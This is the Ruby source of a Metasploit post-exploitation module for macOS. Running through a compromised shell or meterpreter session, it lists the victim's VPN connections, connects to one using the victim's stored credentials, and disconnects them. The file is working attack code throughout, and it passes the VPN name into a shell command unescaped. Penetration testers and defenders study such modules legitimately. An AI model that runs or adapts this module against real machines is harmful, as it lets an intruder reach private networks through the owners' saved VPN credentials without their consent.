## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Post include Msf::Post::File STR_CONNECTED = '* (Connected)' STR_DISCONNECTED = '* (Disconnected)' def initialize(info={}) super( update_info( info, 'Name' => 'OSX VPN Manager', 'Description' => %q{ This module lists VPN connections and tries to connect to them using stored credentials. }, 'License' => MSF_LICENSE, 'Author' => [ 'Peter Toth ' ], 'Platform' => [ 'osx' ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Actions' => [ [ 'LIST', { 'Description' => 'Show a list of VPN connections' } ], [ 'CONNECT', { 'Description' => 'Connect to a VPN using stored credentials' } ], [ 'DISCONNECT', { 'Description' => 'Disconnect from a VPN' } ] ], 'DefaultAction' => 'LIST' )) register_options( [ OptString.new('VPN_CONNECTION', [true, 'Name of VPN connection. `set ACTION LIST` to get a list.', 'OSX_VPN']), OptString.new('SCUTIL_PATH', [true, 'Path to the scutil executable.', '/usr/sbin/scutil']), OptString.new('NETWORKSETUP_PATH', [true, 'Path to the networksetup executable.', '/usr/sbin/networksetup']) ], self.class) end def run fail_with("Invalid action") if action.nil? scutil_path = datastore['SCUTIL_PATH'].shellescape networksetup_path = datastore['NETWORKSETUP_PATH'].shellescape vpn_name = datastore['VPN_CONNECTION'] if not file?(scutil_path) print_error("Aborting, scutil binary not found.") return end if not file?(networksetup_path) print_error("Aborting, networksetup binary not found.") return end # Fetch the list of configured VPN connections cmd_list = "#{scutil_path} --nc list" vprint_status(cmd_list) vpn_data = cmd_exec(cmd_list) connected_names = parse_vpn_connection_names(vpn_data, :connected) disconnected_names = parse_vpn_connection_names(vpn_data, :disconnected) if action.name == 'LIST' if connected_names.length > 0 print_status("VPN Connections Status: UP") connected_names.each do |vpn_name| print_good(' ' + vpn_name) end end if disconnected_names.length > 0 print_status("VPN Connections Status: DOWN") disconnected_names.each do |vpn_name| print_good(' ' + vpn_name) end end elsif action.name == 'CONNECT' if connected_names.include?(vpn_name) print_status("#{vpn_name} already connected") return end unless disconnected_names.include?(vpn_name) print_error("#{vpn_name} not found") return end cmd_up = "#{networksetup_path} -connectpppoeservice '#{vpn_name}'" vprint_status(cmd_up) cmd_exec(cmd_up) elsif action.name == 'DISCONNECT' if disconnected_names.include?(vpn_name) print_status("#{vpn_name} already disconnected") return end unless connected_names.include?(vpn_name) print_error("#{vpn_name} not found") return end identifier = parse_vpn_connection_identifier(vpn_data, vpn_name) unless identifier print_error("Could not parse #{vpn_name} identifier") return end cmd_down = "#{scutil_path} --nc stop #{identifier}" vprint_status(cmd_down) cmd_exec(cmd_down) end end def parse_vpn_connection_names(data, type=:connected) lines = data.lines connection_names = [] comp_str = type == :connected ? STR_CONNECTED : STR_DISCONNECTED lines.each do |line| if line.start_with?(comp_str) && line =~ /"(.*)"/ connection_names << $1 end end return connection_names end def parse_vpn_connection_identifier(data, vpn_name) lines = data.lines lines.each do |line| line.strip! next if line.empty? if line.include?(vpn_name) && line =~ /([0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12})/ identifier = $1 return identifier end end return nil end end